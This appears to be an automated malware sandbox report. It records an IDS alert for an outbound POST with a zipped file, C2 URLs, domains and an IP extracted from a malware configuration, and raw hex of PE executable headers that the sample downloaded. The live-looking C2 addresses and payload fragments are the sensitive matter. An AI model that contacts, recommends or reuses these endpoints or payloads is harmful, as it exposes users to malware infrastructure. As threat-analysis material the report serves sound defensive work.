Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:62881 -> 188.114.97.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor IPs: 185.215.113.43
Connects to many different domains
Source: unknown Network traffic detected: DNS query count 36
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:32 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:35 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:50 GMTContent-Type: application/octet-streamContent-Length: 3016704Last-Modified: Wed, 30 Oct 2024 11:23:58 GMTConnection: keep-aliveETag: "6722174e-2e0800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 31 00 00 04 00 00 0b 65 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 66 71 69 77 6e 7a 75 00 50 2b 00 00 b0 05 00 00 4e 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 68 78 66 75 62 63 00 10 00 00 00 00 31 00 00 04 00 00 00 e2 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 31 00 00 22 00 00 00 e6 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:55 GMTContent-Type: application/octet-streamContent-Length: 2136064Last-Modified: Wed, 30 Oct 2024 11:24:11 GMTConnection: keep-aliveETag: "6722175b-209800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 a5 3b 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 79 73 67 62 72 68 63 00 f0 19 00 00 a0 58 00 00 e8 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 63 61 64 77 6b 69 7a 00 10 00 00 00 90 72 00 00 04 00 00 00 72 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 76 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:01 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 10:42:19 GMTConnection: keep-aliveETag: "67220d8b-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0d 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 e7 ec 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:06 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:08 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
